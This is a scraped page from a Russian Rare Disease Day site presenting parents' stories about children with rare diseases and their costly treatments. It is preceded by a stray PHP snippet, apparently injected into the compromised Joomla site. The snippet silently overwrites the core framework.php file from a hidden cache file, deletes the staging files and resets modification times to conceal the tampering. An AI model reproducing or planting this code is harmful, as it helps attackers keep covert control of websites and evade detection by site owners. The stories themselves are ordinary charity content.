$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Истории
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Истории
Истории
Степан, 10 лет

StepanСтепан, 10 лет,, Челябинская область.    

Наш сын болен редким заболеванием – Болезнь Ниманна – Пика  тип С, с двигательными и интеллектуальными расстройствами.

На сегодняшний день единственным возможным вариантом лечения  является дорогостоящий препарат, который замедляет накопление жиров в мозге, чем и тормозит развитие заболевания. Это единственное лекарство, которое способно помочь ребёнку снова встать на ноги, разговаривать и не отставать от своих сверстников. Прогнозы врачей оптимистичны и внушают надежду.

Миглустат -  дорогостоящий препарат, поэтому  бюджет отдельно взятой семьи не способен самостоятельно осилить данную сумму.

Очень надеемся на помощь Министерства Здравоохранения Челябинской области, которое обещает помочь в сложившейся ситуации. Ведь Челябинская область – один из самых благополучных и стабильных регионов страны.

 
Машенька 1 год

 

20.04.2010года в нашей семье родилась дочь Маша,с диагнозом врожденный буллезный эпидермолиз. Таких детей называют "бабочки" так как от любого трения слазит с тела кожа и поражаются слизистые. С рождения два месяца врачи боролись за ее жизнь,затем стоял вопрос об ампутации ножки,была пересадка кожи. Машеньке уже 1год9мес смышленная,активная,как большинство ее ровестников,она открывает для себя этот мир. Превозмогая страшный зуд,а вместе с тем и боль,она еще не понимает,что чем меньше движений,прикосновений к ее тельцу,тем легче ей будет. И мы,конечно же,насколько в наших силах,стараемся сделать все от нас зависящее.чтобы помочь,притупить хотя бы на некоторое время страдание нашей доченьки. На это не только требуется наша любовь,но и материальные возможности так как Маше необходим специальный дорогостоящий перевязочный материал. И диагностика за границей

 
Юдашова Дарья

1 4f2c37981fcbaЮдашова Дарья. 1год. Центральный врожденный гиповентиляционный синдром, постгипоксическая энцефалопатия, прогрессирующая гидроцефалия, отставание психомоторного развития, синдром вегетативных нарушений.

Меня зовут Лена. Я мама маленькой жизнерадостной малышки Дашеньки. Даше 1 годик и она еще никогда не засыпала дома в своей кроватке. Все это время она жила в отделении реанимации детской областной больницы.

Подробнее...
 
Володя Николаев

 1 4f2b97dbec747Здравствуйте. Меня зовут Олеся, я со своей семьей живу в Чите. В 2010 году у нашего сына Володи было обнаружено редкое генетическое заболевание X- сцепленная АДРЕНОЛЕЙКОДИСТРОФИЯ (X- АЛД). При церебральной форме этого заболевания прогноз - неблагоприятный. У моего сына пострадали надпочечники, развилась хроническая надпочечниковая недостаточность.

При этой форме X - АЛД необходимо соблюдать безжировую диету, принимать гормональный препарат гидрокортизон и диетический препарат - Масло Лоренцо. В этом случае сохраняется высокое качество жизни. Нашему сыну в год необходимо  Масло Лоренцо, цена одной этого препарата очень высокая. Первая закупка препарата была сделана фондом "Подари жизнь", вторая - за счет благотворительного сбора в нашем городе, и частично за счет средств фонда обязательного медицинского страхования (шестая часть от необходимого количества). Благодаря диете и препарату Масло Лоренцо у нашего мальчика пришли в норму все диагностические показатели, и он живет обычной мальчишеской жизнью.

Подробнее...
 
Доценко Дмитрий

1 4f2ad98a93d89Здравствуйте, пишет Вам Елена Доценко, я воспитываю ребёнка страдающего врождённым буллёзным эпидермолизом – Доценко Дмитрия, 13.12.1995 г.р. В первые часы после рождения у сына появились большие пузыри на левой ноге , кистях, мелкие пузыри на лице, в слизистой, ребёнок часто срыгивал. Диагноз: «токсическая нефропотия и буллёзный эпидермолиз».

Ребёнок направлен на лечение в ДРБ г. Сыктывкара, где было проведено обследование и назначен курс лечения: глюкозо-солевые растворы в/в, антибиотики, церукал, кавинтон, люминал, бифидумбактерин, повязки на раны с Левомиколем. До года рос и развивался по возрасту, с периодическими обострениями основного заболевания. В три месяца было сделано УЗИ почек – диагноз: «мочекаменная болезнь обеих почек». Затем неоднократно лечились в Москве в аллергодерматологическом отделении, но улучшения у нас не было.

Подробнее...
 
<< Первая < Предыдущая 1 2 3 4 5 Следующая > Последняя >>

Страница 5 из 5

Завершенные конкурсы

Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru